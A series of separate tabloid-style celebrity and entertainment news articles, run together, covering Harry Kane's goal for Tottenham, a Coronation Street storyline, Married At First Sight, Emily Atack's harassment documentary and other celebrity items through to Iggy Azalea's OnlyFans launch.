The Tottenham boss has vowed to 'fight until the end' despite rumours of uncertainty recently

Spurs have struggled for form recently but managed to put an end to successive defeats

The Italian will be thankful for Harry Kane's first-half strike on Monday that proved to be the difference between the two sides and earned his team all three points.

Speaking on Kane - who became Tottenham's joint-top all-time goalscorer - Conte said: 'Today he was amazing. I think he scored a fantastic goal, the execution, to control the ball, then to kick it in that way, only a world-class striker can score this goal.

'About the spirit that I spoke before, I want to underline Harry played with a fever and he was not so good, but he wanted to play because he understood the moment.

'Today I am really happy because I think he was rewarded with a goal. For sure, I would like to help him and me, also his team-mates, to try to do something important, to win something with Tottenham because he loves Tottenham.

'Tottenham is in his heart and it should be good if together we were able to win something, because then it is important to have this record, but I think it could be more important if you win a trophy.'

Kane struck an effort from outside the box which nestled into the far corner in the first-half

The England captain popped up with a goal just before half-time after swivelling away from Fulham's Tim Ream and firing an effort into the back of the net.

The goal brought Kane up to 266 goals in his Tottenham career and level with club legend Jimmy Greaves.

He'll will be hoping to surpass Greaves in Spurs' next outing, as they travel to Preston North End in the FA Cup on Saturday afternoon.
Coronation Street's Hope Stape will take drastic measures to avenge her dead chinchilla next week, by kidnapping David Platt's stuffed weasel.

The schoolgirl, who is been influenced by tapes recorded by her serial killer father John, will vow to get revenge after her beloved pet Cilla was killed last week, even claiming that Beth Sutherland slapped her across the face.

Hope's claims could have huge consequences as her parents Tyrone and Fiz offer to discuss the incident, but she reacts badly and storms out.

Schemes! Coronation Street's Hope Stape will take drastic measures to avenge her dead chinchilla next week, by kidnapping David Platt's stuffed weasel

After her beloved pet was killed by Kirk and Beth's dog Peanut, Hope (Isabella Flanagan) tells her friend Sam (Jude Riordan) that she is determined to get revenge.

In the factory, Beth (Lisa George) tells Fiz (Jennie McAlpine) she's sorry about Cilla, but at the end of the day, she was only a posh rat, leaving Hope's mother furious.

On Hope's instructions, Sam reluctantly cons Maria (Samia Longchambon) into handing over Vin-Diesel the weasel from the barber's.

Asking Sam to leave, Hope carefully places Vin Diesel's mouth around the skin of her arm, before approaching Peanut and letting out a scream.

Caught out! The schoolgirl, who is been influenced by tapes recorded by her killer father, will vow to get revenge after her beloved pet Cilla was killed but she is caught by her father Tyrone

Tragic! After her beloved pet was killed by Kirk and Beth's dog Peanut (pictured), Hope tells her friend Sam that she is determined to get revenge

Raging: In the factory, Beth tells Fiz she's sorry about Cilla, but at the end of the day, she was only a posh rat, leaving Hope's mother furious

Following her revenge plan, Tyrone (Alan Halsall) catches Hope sneaking out of the yard holding David's weasel, and immediately demands answers.

As Beth confronts Hope about Peanut, she runs home in tears to her parents, before making a shocking accusation.

Hope then accuses Beth of slapping her across the face, and Fiz and Tyrone confront immediately confront her. Beth denies she did anything of the sort.

Hitting back: Beth and Fiz nearly get into a fight over her snide comments, forcing Carla to break them up

Caught: Following her revenge plan, Tyrone (Alan Halsall) catches Hope sneaking out of the yard holding David's weasel, and immediately demands answers

Later, Fiz suggests to Beth that the four of them should sit down and talk through the incident with Hope.

But when the schoolgirl returns home, she is furious and storms out.

In recent months, Hope has sparked concern with her affiliation for her serial killer John, secretly listening to tape recordings of his voice.

It's already been hinted that she will develop an obsession with one of her neighours - but could she take things too far?

Coronation Street airs on Mondays, Wednesdays and Fridays at 8pm on ITV1 and ITVX.
It's no secret that Married At First Sight has been home to some of the worst behaviour in its 10-year history, with rumours that the upcoming season will see some of the most outrageous behaviour yet.

But now MAFS bosses have insisted that there is no such thing as a villain in TV, despite the show featuring some of the most iconic characters of all time.

Tara McWilliams, who is credited with transforming the experiment into the ratings juggernaut it is today, insisted that there was no such thing as a 'villain edit' and that any negative storyline is just the result of 'bad choices'.

The executive producer of Married At First Sight, Tara McWilliams (pictured), says there is no such thing as a 'villain edit' and insisted that their storyline was a result of 'bad choices'

'I don't think anyone is a villain. They're not characters out of a storybook, they're real people that sometimes behave poorly,' McWilliams told Daily Mail Australia.

'It doesn't make them bad people. I think you can put the best meeting on a show like this, and the intensity of the experience makes people behave in a way that even surprises them.'

'I think season 10 will see some controversial people - absolutely.'

McWilliams maintains that while these people may make bad choices, they are ultimately good people and that it's important to remember that.

'I don't think anyone is a villain. They're not characters out of a storybook, they're real people that sometimes behave poorly,' McWilliams told Daily Mail Australia. (Pictured: Olivia Frazer)

Tara explained that in many cases, these people are dealing with issues which are the root cause of their bad behaviour.

It's often insecurity, anxiety, or even a lack of self-confidence, and this is something that is taken into consideration when casting for the show.

'It's all about the relationships we're having, because that's what you want out of the show,' added expert John Aiken.

'[We want] people discussing their relationships or their past patterns or how they want to do things differently.'

McWilliams maintains that while these people may make bad choices, they are ultimately good people, and that it's important to remember that. (Pictured: 2023 bride Bronte Schofield)

Aiken admitted he had no problem calling out bad behaviour, adding that this season will feature some of the worst behaviour we have ever seen on the series.

'I'm not there to take sides. I'm not there to be friends. I just literally have a role to play, which is to hold the mirror up to patterns because a lot of the people on the new series don't have any insight into why they're single, or what they're like in a relationship,' he explained.

'My role is very much to highlight that to them. Now, some of them will push back, they don't want to hear it,' he continued.

Tara explained that in many cases, these people are dealing with issues which are the root cause of their bad behaviour. (Pictured: 2023 groom Shannon Adams)

'Others say, ''thank you very much, I'm gonna do it differently'', I love that role but I do it in a way which is not. Which is objective, I would say. Yeah, that's my role.'

The new season of MAFS will see the experts bring up a range of topics that include racism, gaslighting, and narcissistic behaviour.

According to onset sources, one groom has already been labelled 'worse than Bryce', while another bride and groom accuse each other of 'gaslighting each other' and playing mind games.

Expert John Aiken admitted he had no problem calling out bad behaviour, adding that this season will feature some of the worst behaviour we have ever seen on the series

'Gaslighting gets tackled again, but other things about the way people treat each other in relationships, which for us  we think weve seen it all  is shocking' McWilliams told Variety last week.

'If were being shocked still, then you know the contents pretty ballsy,' she continued.

'We have scandals again, but scandals that you havent seen. And thats what I love about this, the reality Gods have really kind of smiled down on us,' she added.

Married At First Sight returns to Channel Nine on Monday, January 30 at 7.30pm
Emily Atack has admitted that she fears being 'raped and killed' as she details the vile campaign of online sexual harassment she has experienced since her teens.

The TV presenter, 33, is soon to launch her BBC Two documentary Emily Atack: Asking For It? where she deep dives into the reasons behind the 'graphic' and 'dark' messages she began receiving during her time on The Inbetweeners.

In her search for answers, Emily has admitted that she feels so frightened by the abuse while living on her own that the moment she hears a 'bump in the night', she thinks she is 'about to be raped and killed'.

'Dark': Emily Atack has revealed that the graphic and dark online messages she receives from men incessantly has left her 'incredibly troubled and saddened'

Speaking in an interview with this week's Radio Times, Emily said the documentary did intensify her frustration as she finds little reason when confronting the men who send her such horrific explicit messages.

'I'm terrified at times,' Emily explained. 'The second I hear a bump in the night I go, "Oh, that's it. I'm about to be raped and killed". I'm scared of being physically alone a lot of the time.'

When asking a man by the name of Calum, who is one of hundreds who message Emily with crude sexual comments, why he does such a thing, he blocks her.

And it is not much better when people do reply to her - with one who 'bombards' her with abuse before apologising - but quickly blames her by saying her 'reputation' 'isn't great' and says that she is 'always sleeping with different men'.

Investigating: The TV presenter, 33, is soon to launch her BBC Two documentary titled Emily Atack: Asking For It? where she deep dives into the sexual harassment she has experienced since her teens when she starred on The Inbetweeners

She also told the publication about how the online stalkers can lead to self-blame.

'You go, "Is it me? Is it what I wear, how I put myself out there? Is it because I talk about sex in my show, because I'm flirtatious, I'm single, I'm on my own?"

'And before you know it, you're just splattered at the bottom of this staircase, blaming yourself. You're incredibly troubled and saddened and questioning who you are as a person.'

Her documentary explores why she is sexually harassed online on a daily basis and seeks to understand why the blame for unwanted sexual attention is so often put on the victim.

Insight: And in her search for answers, Emily has admitted that she feels so frightened by the online abuse while living on her own that the moment she hears a 'bump in the night', she thinks she is 'about to be raped and killed'

In April last year, Emily hit out at her male fans who bombard her with unsolicited pictures of their penises on social media.

The actress said she's likely to receive 'about 10 penises I have not asked to see' before breakfast.

She told the Mirror at the time: 'If someone sends me a sexually explicit message, I'm like, "Why have they said that to me?"

'It makes you question who you are and why you're single.'

Speaking about her love life, she also joked: 'I try and stay away from things that aren't good for me.

Documentary: Speaking to Radio Times, Emily said that the documentary did intensify her frustration as she finds little reason when confronting the men who send her such horrific explicit messages (pictured speaking to schoolgirls for her documentary)

'It's hard when you are a little mischievous, like me!'

It comes after Emily said she felt awkward filming sex scenes on her show The Inbetweeners.

The comedian rose to fame after playing Charlotte Hinchcliffe on the E4 comedy series from 2008 to 2010, but admitted it was strange filming intimate scenes with co-star Simon Bird - who played Will McKenzie - because of the age gap between the pair.

Emily, who was 17 at the time whilst Simon was in his late 20s, recalled the embarrassing moment she tried to break the tension.

Back then: And it is not much better when people do reply to her - with one who 'bombards' her with abuse before apologising - but quickly blames her by saying her 'reputation' 'isn't great' (pictured as Charlotte Hinchcliffe in The Inbetweeners)

Speaking on Rob Brydons podcast, she said: 'He had to get on top of me and I remember thinking I'm going to have to say something to break the ice, and I said, "How does it feel being on top of a 17-year-old?"

Interview: Emily told the Radio Times about how the online stalkers can lead to self-blame

'He was like, "You're 17! Oh my God." He was mortified.'

The former I'm A Celebrity... Get Me Out of Here! contestant also spilled the beans on the beauty regimes of her male co-stars, who included James Buckley and Blake Harrison.

She added: 'Every time I walked into the dressing rooms they were having their chests shaved.'

Emily is currently a team captain on the ITV2 comedy panel show Celebrity Juice after replacing Holly Willoughby and revealed that Miriam Margolyes and Louis Theroux would be her dream guests on the programme.

The star said: 'I think Miriam Margolyes needs to come on. She is just incredible. Big Narstie was a guest for the first show back this series and had us all crying with laughter. Id love to have Louis Theroux on my team because its Louis Theroux.'
Iain Stirling offers a rare insight into life as a first-time dad, 10 months on from welcoming his daughter Stevie with wife Laura Whitmore.

In a new interview, the comedian, 34, talks how being a father has changed his life for the better and how he first came to bag the role as the voice of Love Island.

Iain says being the narrator of the show is his 'dream job', with the programme seeing Maya Jama take the helm for the winter series after his wife Laura stepped down as host.

'It's given me such a nice purpose to my life': Iain Stirling offers a rare insight into life as a first-time dad, 10 months on from welcoming his daughter Stevie with wife Laura Whitmore

In a new interview with the Radio Times, Iain says of becoming a father: 'I love it. Its given me such a nice purpose to my life. I enjoy being a dad, I enjoy watching this little person growing and learning how to say words and do actions. Its really rewarding.'

The couple confirmed they were expecting in December 2020, sharing their happy news on Instagram, a day after it was revealed they had secretly married during a Humanist ceremony at Dublin's City Hall in November.

Elsewhere in the interview, Iain reveals how he got the job as Love Island's narrator.

'I enjoy being a dad': The comedian, 34, talks how being a father has changed his life for the better, after welcoming his daughter with wife Laura Whitmore (pictured)

Parents: The couple confirmed they were expecting in December 2020, sharing their happy news on Instagram, a day after it was revealed they had secretly married

'I love it. Its given me such a nice purpose to my life. I enjoy being a dad, I enjoy watching this little person growing and learning how to say words and do actions. Its really rewarding,' he says.

'I think it really was as simple as they didnt want a London RP accent. The Big Brother accent was from the North East. They were like, "We need to go Irish or Scottish." I can imagine theres an Irishman somewhere absolutely livid.

'Its the dream job for me, because I get the excitement of being involved in a show like Love Island, but can go to the supermarket and not be recognised.'

Iain says being the narrator of the show is his 'dream job', with the programme seeing Maya Jama take the helm for the winter series after his wife Laura stepped down as host

The interview comes after Iain suffered an awkward moment on Good Morning Britain last week when he was quizzed about new host Maya.

Full story: Read the full interview in Radio Times

Host Ed Balls, 55, asked him: 'Have you said to [Maya], "Can you come over for a chat?" or "I'm sending you a text?"' referencing some of the show's famous catchphrases.

Iain replied: 'To Maya Jama? I'm sure my wife would have something to say about that if that happened.'

Iain said: 'Maya is absolutely fantastic, Laura was absolutely fantastic, Maya is doing such a good job... her slow-mo walks have been something else. Great looks.'

Maya took over hosting duties from Laura, 37, who presented the show for three seasons, and has become an instant hit with viewers.

Laura said at the time she found flying back and forth from the villa 'very difficult'.

The TV presenter's stint on the ITV2 dating show received mixed reviews during her last season.

The summer series of Love Island is based in Mallorca, while the winter installment is filmed in South Africa.

Laura replaced Caroline Flack as the presenter of Love Island when she stood down in December 2019. Caroline tragically took her own life aged 40 in February 2020.
Antonio Banderas has said that having a heart attack six years ago changed his life for the better in a new interview on Monday.

The actor, 62, described the life threatening emergency as a 'turning point' from which he was able to then 'recognise what was important' in his life.

Speaking with Radio Times magazine, Antonio discussed his latest film Puss in Boots: The Last Wish and its connection to death and mortality.

Turning point: Antonio Banderas, 62, has said that having a heart attack six years ago changed his life for the better in a new interview on Monday

Explaining how he could relate to the motion picture, he said: 'I had a heart attack six years ago. It probably was one of the best things that happened in my life. It was like putting glasses on and seeing what was important.

'I came back to Spain and started looking at my professional life from a different point of view. So I do connect to it in a personal way. I think its a beautiful message, and I think it was done properly.

'Since my heart attack, Im looking only for the pleasure of acting. Thats it. I dont care about anything else. For me, life starts when somebody says, "Action!"  or when the curtain comes up.'

Re-think: The actor described the life threatening emergency as a 'turning point' from which he was able to then 'recognise what was important' in his life

Antonio was rushed to hospital back in 2017 after suffering chest pains while exercising which was later discovered to be a heart attack.

Speaking with Radio Times magazine (pictured), Antonio discussed his latest film Puss in Boots: The Last Wish and its connection to death and mortality

Previously, while starring on Jimmy Kimmel Live, the Mask Of Zorro star credited girlfriend Nicole Kimpel, 40, with saving his life during the scare by giving him one of the maximum strength aspirin she had bought for a headache the day before his event.

'She bought this aspirin, which is the only thing that she found and she found the maximum one, I think it was five milligrams.

'The next morning, when I started having the symptoms and I clearly knew what was going on, she put one of those aspirins inside of my tongue and that saved my life. So I had a second chance, and some stuff changed in my life, since then.'

Antonio - who doesn't drink - changed his priorities and quit smoking, which was 'probably one of the most stupid things I have ever done in my life.'

'I was lucky after all, because a heart attack can kill you just like this...In a way, it's one of the best things to happen in my life, to have a heart attack.'
She's been soaking up the sun during her trip to Mexico.

And Maura Higgins displayed her washboard abs in a very skimpy bikini as she hit the beach in Tulum on Monday.

The former Love Island contestant, 32, looked incredible in the floral patterned two-piece while sipping on a coconut.

Sun-kissed: Maura Higgins, 32, displayed her washboard abs in a very skimpy bikini as she hit the beach in Tulum on Monday

She wore her brunette hair in natural, beachy curls and went makeup free for the fun photo.

Posing for a second snap, Maura layered over a knitted khaki crop top and matching low slung skirt as she headed out with a pal.

Maura opted for a subtle makeup look with a nude lip gloss and added a pair of gold earrings to dress up her look as they went for dinner.

Natural beauty: She wore her brunette hair in natural, beachy curls and went makeup free for the fun photo

Fun: Posing for a second snap, Maura layered over a knitted khaki crop top and matching low slung skirt as she headed out with a pal

It comes after she had an unexpected brush with a famous face as she caught an early morning flight on Wednesday.

The former Love Island star took to her Instagram Stories to reveal that she had bumped into Northern Irish actor Jamie Dornan in the airport.

She shared a smiling selfie of them both and cheekily wrote alongside the snap, 'wearing grey for Mr Grey', referring to his role as Christian Grey in the Fifty Shades trilogy.

Famous face: It comes after Maura had an unexpected meeting with Irish actor Jamie Dornan as she caught an early morning flight on Wednesday

In the picture, Irish TV personality Maura cut a sporty figure in a short-sleeved grey T-shirt and showed off her natural good looks as she went make-up free.

She swept her brunette tresses back into a ponytail with strands falling loosely around her face and flashed a huge grin as she posed with Jamie.

The Fall star Jamie kept it casual in a grey T-shirt, which he teamed with a white hoodie and black padded jacket.

He sported a well-groomed beard and styled his dark locks in a curled slicked back style as he prepared to catch his flight.
American rapper Nelly sparked concern with his excessive blinking and sweating during a performance at Juicy Fest in Melbourne last Wednesday.

But an event organiser who worked with the RnB superstar, 48, just days before his on-stage 'meltdown' says fans have nothing to worry about.

Benjamin Shamgar, who hosted one of Nelly's afterparties at Flamingo Lounge in Potts Point on January 14, suggested the rapper's bizarre display was likely due to 'exhaustion'.

Sydney event organiser Benjamin Shamgar (left) has weighed in on troubling footage of American rapper Nelly (right) twitching and rolling his eyes during a performance at Juicy Fest in Melbourne last Wednesday

'The workload from the travel and having festivals in multiple cities does take its toll,' Mr Shamgar, who has no affiliation with Juicy Fest, told Daily Mail Australia.

'It's obviously quite disheartening to see the negative press about the global superstar, as he loves his fans and goes above and beyond,' he added.

The Dilemma rapper, who was one of the biggest artists of the noughties, performed in Sydney, Melbourne and Brisbane for Juicy Fest.

Mr Shamgar, who hosted one of Nelly's afterparties at Flamingo Lounge in Potts Point on January 14, suggested the rapper's bizarre display was likely due to 'exhaustion'. (Pictured: Nelly performing at Flamingo Lounge on January 14)

Mr Shamgar added that Nelly put on a stellar performance at his Flamingo Lounge event, singing seven songs for the audience despite only being contracted to perform one.

'He was at the club from 1am till close with his DJ and management. Nelly gave an electrifying performance on a small stage, smashing out all the hits including Ride Wit Me and Hot in Herre,' he said.

It comes after footage surfaced of Nelly rolling his eyes backwards and blinking excessively while performing his song Over and Over at Melbourne's Juicy Fest on January 18.

The Dilemma rapper, who was one of the biggest artists of the noughties, performed in Sydney, Melbourne and Brisbane for Juicy Fest. (Pictured at Juicy Fest in Perth on January 20)

Sporting blue jeans, a white T-shirt and huge diamond chain, the star rapped his 2004 hit before rolling his eyes and waving his hands in the air.

Clips of the performance were quickly posted online by fans, with some saying he was struggling under the bright lights.

Others said the rapper should have considered cancelling the gig.

It comes after footage surfaced of Nelly rolling his eyes backwards and blinking excessively while performing his song Over And Over at Melbourne's Juicy Fest on January 18

'Someone off stage is signalling him to see if he alright, but he blaming it on the lights,' wrote one person.

'This was hard to watch. His people should have cancelled that show,' said another.

'Every video I see if him performing gets funnier and funnier,' another fan commented on Instagram.

'I think he's malfunctioning,' added one fan.

Sporting blue jeans, a white T-shirt and huge diamond chain, the star rapped his 2004 hit before laughing excessively, rolling his eyes and waving his hands in the air

'Is Nelly possessed? Did the illuminati get him?' joked another fan. 'Looking like some satanic ritual s*** there with the eyes rolling bad.'

'Nelly is on another planet,' commented one fan.

'Nelly's eyes were fighting for their life. His crew should have told him to keep his glasses on.' added a Twitter user.

Nelly hasn't addressed the video, but took to Instagram to thank 'all of Australia' for showing out', adding that the tour had 'been amazing' and that he couldn't wait 'to finish out strong'.

MailOnline has contacted a spokesperson for Nelly for comment.
Aussie model Gabrielle Epstein turned heads once again as she stepped out for a night on the town in an outrageously risque dress.

The 28-year-old risked baring all in the cut-out black number as she posed for photos on a pedestrian bridge in south Melbourne while smoking a cigar.

'Twitter told me to post these,' she captioned a gallery of photos shared to Instagram on Tuesday.

Aussie model Gabrielle Epstein turned heads once again as she stepped out for a night on the town in an outrageously risque dress

The racy LBD featured several strategically placed cut-outs which left most of her midsection and waist exposed.

The most tantalising aspect was the barely there material covering her chest.

To prevent a serious wardrobe malfunction, the blonde bombshell threw a leather jacket over the top of the dress to partially cover her assets.

The 28-year-old risked baring all in the cut-out black dress as she posed for photos on a pedestrian bridge in south Melbourne while smoking a cigar

The influencer accessorised with a single pendant necklace as she curled her golden tresses and pulled them back into a half up-do.

Gabrielle has become one of Australia's hottest modelling exports in recent years.

But after years of living and working in Los Angeles, the genetically blessed beauty recently forgot how hot the Australian sun can be.

The LBD featured strategically placed cut-outs which left most of her midsection and waist exposed, but the most tantalising aspect was the barely there material covering her chest

She suffered a nasty sunburn last Tuesday after touching down on the Gold Coast for the first time since 2019.

The Playboy cover girl was at the beach without any sunscreen and suffered a major burn because of it.

Sharing a photo of the burn to Instagram, she wrote: 'Oh for f**k's sake. I forgot to put sunscreen on the back of my legs.'

Gabrielle boasts three million followers on Instagram and has become a huge name on the glamour modelling circuit.
Emmy-winning producer Andy Cohen settled his so-called feud with Jersey Shore star Nicole 'Snooki' Polizzi on Monday's episode of his SiriusXM radio show, Andy Cohen Live.

The 'public war' began last year when the 54-year-old Bravo exec said he didn't see casting the 35-year-old mother-of-three on his reality show The Real Housewives of New Jersey 'at all ever.'

'You were just a little sarcastic so I had to come back,' Snooki explained.

All smiles! Emmy-winning producer Andy Cohen settled his so-called feud with Jersey Shore star Nicole 'Snooki' Polizzi on Monday's episode of his SiriusXM radio show, Andy Cohen Live

'I'm not mad about it. I just didn't like your little, "Nah, I'm good."'

Andy replied: 'You didn't like my tone? I said, "We're good?" Is that what I said? Something like that? Okay. Well, then, see that's where I take it too far. That's where I take it too far.'

Cohen went on to explain that the reason he was dismissive of the idea of the Chile-born guidette becoming a Bravo-lebrity was he views her as 'one of the faces of MTV and the face of Jersey Shore.'

'And so to me it's like putting Mickey Mouse in a Bugs Bunny cartoon. It's too different. You know what I mean?' the Watch What Happens Live host added.

The 'public war' began last year when the 54-year-old Bravo exec said he didn't see casting the 35-year-old mother-of-three on his reality show The Real Housewives of New Jersey 'at all ever'

Snooki explained.: 'You were just a little sarcastic so I had to come back...I'm not mad about it. I just didn't like your little, "Nah, I'm good"'

Andy replied: 'You didn't like my tone? I said, "We're good?" Is that what I said? Something like that? Okay. Well, then, see that's where I take it too far. That's where I take it too far'

'It's like putting Mickey Mouse in a Bugs Bunny cartoon': Cohen went on to explain that the reason he was dismissive of the idea of the Chile-born guidette becoming a Bravo-lebrity was he views her as 'one of the faces of MTV and the face of Jersey Shore'

Snooki concluded: 'We're fine. I love you.'

Another reason why the It's Happening With Snooki & Joey podcaster would be unable to be a Housewife is her husband of eight years, Jionni LaValle, refuses to be on camera.

'He has severe anxiety and hates being in front of [the] camera,' Snooki explained via Twitter on August 18.

'He never liked it. He hardly lets me post pictures. It's a mental health issue that I respect and choose not to push him to be on camera.'

Elusive: Another reason why Snooki would be unable to be a Housewife is her husband of eight years - JNL ATM owner Jionni LaValle (R, pictured November 23) - refuses to be on camera

The It's Happening podcaster explained via Twitter on August 18: 'He has severe anxiety and hates being in front of [the] camera. He never liked it. He hardly lets me post pictures. It's a mental health issue that I respect and choose not to push him to be on camera'

November 23 family portrait: Snooki and her 35-year-old 'gorilla' are proud parents of 10-year-old son Lorenzo Dominic, eight-year-old daughter Giovanna Marie, and three-year-old son Angelo James

The Messyness host and her 35-year-old 'gorilla' are proud parents of 10-year-old son Lorenzo Dominic, eight-year-old daughter Giovanna Marie, and three-year-old son Angelo James.

Snooki famously met Jionni - who runs an ATM business called JNL - during a drunken night at Seaside Heights hotspot Karma back in 2010.

Andy and The Snooki Shop owner were joined in his SiriusXM studio by her castmates Jenni 'JWoww' Farley and Vinny Guadagnino.

While there, Snooki - who boasts 36M social media followers - bumped into Buffy the Vampire Slayer alum Sarah Michelle Gellar, 'an icon' who 'made her day.'

Andy and the Messyness host were joined in his SiriusXM studio by her castmates Jenni 'JWoww' Farley (L) and Vinny Guadagnino (R)

'I mean...': While there, Snooki bumped into Buffy the Vampire Slayer alum Sarah Michelle Gellar, 'an icon' who 'made her day'

No stylist: The Snooki Shop owner dressed her petite 4ft8in frame in a black blazer over a matching bedazzled top, snakeskin-print pants, and snakeskin booties

Promotional trail: Snooki - who commands $300 on Cameo - toted a Louis Vuitton purse and wore her blonde-streaked raven locks in waves for her rainy day in the Big Apple

The Brookdale Community College alum dressed her petite 4ft8in frame in a black blazer over a matching bedazzled top, snakeskin-print pants, and snakeskin booties.

Snooki - who commands $300 on Cameo - toted a Louis Vuitton purse and wore her blonde-streaked raven locks in waves for her rainy day on the promotional trail in the Big Apple.

Catch more of the GTL gang in the sixth season of Jersey Shore: Family Vacation, which premieres this Thursday on MTV.
Leigh Sales will make her return to TV as host of the ABC's Australian Story on February 27.

The celebrated journalist will present the weekly half-hour documentary series famed for profiling Aussies and their challenging life stories.

Sales, 49, shocked viewers when she announced her resignation as anchor of the national broadcaster's The 7.30 Report in February last year.

Leigh Sales will make her return to TV as host of the ABC's Australian Story on February 27 Pictured: Leigh Sales

Sarah Ferguson, who replaced Sales, will continue to host The 7.30 Report.

Meanwhile, TV Blackbox reports that the ABC will be launching a new season of their current affairs flagship Four Corners on January 30.

And after a troubled year of declining ratings, the broadcaster's topical panel show, Q&A will also be back on January 30 hosted by Stan Grant.

It comes after Sales left her high-profile gig as host of ABC's 7.30 on June 30.

The celebrated journalist shocked her fans last February when she announced she was resigning from her high-profile gig as anchor of The 7.30 Report

She later revealed she would use her six months of long service leave to get 'some rest' and spend quality time with her two young boys.

Caroline Jones was the original host of Australian Story but sadly died in May at the age of 84 after a fall in her Sydney home.

The program has been without a host since 2016 after Jones left and was using talent from each week's show to introduce the story.

Sales will present the weekly half-hour documentary series famed for profiling Aussies and their challenging life stories

Sales new hosting job was first announced at the ABC's Upfronts last November and the popular star said it was an honour to follow Jones as host of the program.

'Australian Story is one of the most beloved programs in the country and I am so excited and humbled to be invited to front it,' Sales said.

'I can't wait to be involved in the production process of such a talented team.'
Meghan Markle's claims of widespread racism in Britain were described as 'very unsettling' by opera star Danielle de Niese in comments to the Mail last night.

Like the Duchess of Sussex, De Niese is a prominent woman of colour in her profession who married into an white, upper-class British family intertwined with a famous institution.

However, the soprano, who is married to Gus Christie, executive chairman of the Glyndebourne opera festival, said did not appreciate the comments made by the Duchess during bombshell interviews with Oprah Winfrey.

'What I think is strange is to get your home country of America to say that the entire country of Britain is racist... I find that very unsettling.

'It's not to say that racism isn't everywhere, because it is, but I don't think you can tar everyone with the same brush like that. To say a whole community of people are racist, that hasn't been my experience.'

Gus Christie and Danielle de Niese are pictured at Picturehouse Central on January 11, 2023 in London, England

Prince Harry and Meghan Markle's claims that the UK is 'racist' did not sit well with de Niese

The soprano, 43, whose parents are from Sri Lanka with mixed European heritage, spent her childhood in Australia before emigrating with her family to America as a teenager.

Now chatelaine of the estate in the South Downs, East Sussex, where music lovers enjoy picnics on the lawn before watching the world-famous opera during the summer, she considers Britain to be her home.

She did not agree with Meghan and Harry's slurs about 'racism' in the Royal Family - which the Prince rowed back from in recent interviews - saying Meghan should have followed her example.

Danielle De Niese performs on stage at BBC Proms in the Park at Hyde Park on September 12, 2015 in London, England

Prince Harry, Duke of Sussex and Meghan, Duchess of Sussex arrive Fua'amotu Airport on October 25, 2018 in Nuku'alofa, Tonga

'I am a mixed-race person and I have married a man who is not in the Royal Family but is still part of a big institution,' de Niese told the Mail.

'I've set out to support my husband and learn about the people around me.

'I very much set about learning about what happens here.

'There were people who tried to imply that I was ''trailblazing'', but I wasn't into that because it feeds the ego.'

The First Lady of Glyndebourne has two young children with Christie and is stepmother to his four sons from his first marriage. 'When Meghan and Harry first came to public attention, everyone was super happy for them,' she adds.

'I feel like we'll never really know why it went wrong. It's a complex story.'
Real Housewives of Melbourne star Venus Behbahani-Clark is expecting her fourth child.

The 38-year-old showed off growing baby bump and revealed she was half way through her pregnancy at the Elton John concert in Brisbane on Saturday night.

'People assumed my son Izak would be my last but I like to be fair and decided that given the age gap between my eldest two daughters it would only be fair to give my two year old a sibling closer to his age,' she told Daily Mail Australia on Tuesday.

Real Housewives of Melbourne star Venus Behbahani-Clark announced that is expecting her fourth child by showing off her baby bump at the Elton John concert on Saturday

Venus, who is due to give birth in April, is yet to reveal whether the baby is a boy or a girl.

The lawyer previously endured a ectopic pregnancy in 2021 just six months after welcoming her son Izak.

Speaking of her experience, Venus said it was one of the 'most excruciating painful experiences a woman can go through'.

Venus, who is due to give birth in April, is yet to reveal whether the baby is a boy or a girl

An ectopic pregnancy is a medical condition that occurs when a fertilised egg implants and develops outside of the uterus.

It is a life-threatening emergency and can cause internal bleeding. Symptoms of an ectopic pregnancy may include vaginal bleeding, abdominal pain, and abdominal tenderness.

Treatment for an ectopic pregnancy typically involves the use of medication or surgery, depending on the severity of the condition.

Venus welcomed a baby boy with her husband, James Nicholas Clark, in May 2020

She previously welcomed a baby boy with her husband, James Nicholas Clark, in May 2020.

The couple are also parents to two young daughters, Giselle, 13, and Sophia, nine.

Venus joined the cast of Real Housewives of Melbourne in 2016 and was part of the show until 2018.
Iggy Azalea shocked the music world last week when she signed up for an OnlyFans account.

And while the Aussie rapper's racy new venture is predicted to earn her upwards of seven figures, some fans claim that she's not showing enough skin to justify the pricey subscription fees.

The Fancy hitmaker, 32, has had to limit comments on her Instagram page after it was flooded with negative remarks about her OnlyFans page.

Iggy Azalea (pictured) is getting backlash from fans for not posting enough sexually-explicit content on her new OnlyFans page

'Don't waste your time fellas,' commented one, while another wrote, 'Yall know damn well its a tease.'

'Y'all really gonna pay that sub when she posts the same s**t on her Insta?' added one.

On Tuesday, the star shared some 'artistic' photos of herself in a green bra on social media and told her followers to head to OnlyFans to see more.

'Sneaky look at what @shazdidthis has been working away at for my Hotter Than Hell project,' Iggy captioned it, referring to the 12-month multimedia project she's been rolling out on OnlyFans.

'Link in bio for more art etc. its all living on my Onlyfans page!' she added.

The Fancy hitmaker, 32, has had to limit comments on her Instagram page after it was flooded with negative remarks about her OnlyFans page

While many of her fans were tickled pink by the psychedelic photoshoot, others demanded racier content.

'We just want full-length twerk videos. We don't care about the project,' snapped one.

'Hope theres not loads of overpriced PPV, that makes it so hard for people to trust normal creators after getting burned by celebrities,' added another.

Iggy is currently charging subscribers $25-a-month for her OnlyFans, but users have to pay more via upselling to access sexier stuff.

'Don't waste your time fellas,' commented one, while another wrote, 'Yall know damn well its a tease!'

If you tip the star $250, you get to become a 'VIP' for 12-months, which includes one free exclusive photo and some other unknown benefits.

According to Forbes, the post advertising her VIP subscription had racked up almost $16,000 in tips in a week.

PPV photos and videos, which are sent to users via direct messages, are being sold for $35 on the low end all the way up to $100 and more.

The former chart-topper is currently offering a variety of content on her page, from scantily-clad bikini photos through to short videos and audio messages.

'Y'all really gonna pay that sub when she posts the same s**t on her Insta?' added another fan. Iggy is pictured above in a since-deleted Instagram photo

Some of the Playboy-esque images on her page show Iggy topless with her breasts exposed, while one video sees the star twerking in her kitchen while wearing a tight T-shirt and lacy panties.

She appears completely naked in some photos, but is strategically posed and lit in a way to protect her modesty.

Celebrities are among the top earners on OnlyFans, with Dr. Phil star Danielle Bregoli, aka Bhad Bhabie, raking in $50million during her first year on the site.

Twitch streamer Amouranth makes over $1.5million per month from her account, while former WWE wrestler Mandy Rose recently took home $500,000 in just one week on OnlyFans rival FanTime.

Iggy is currently charging subscribers $25-a-month for her OnlyFans, but users have to pay more via upselling to access sexier stuff

Iggy announced that was joining OnlyFans last week as part of a year-long collaboration that will include a variety of content, from Playboy-esque photos to music and poetry.

'Admittedly, I never knew OnlyFans was a place where I could be creative, so I didnt expect to be collaborating with them on my biggest project to date!' she said in a statement.

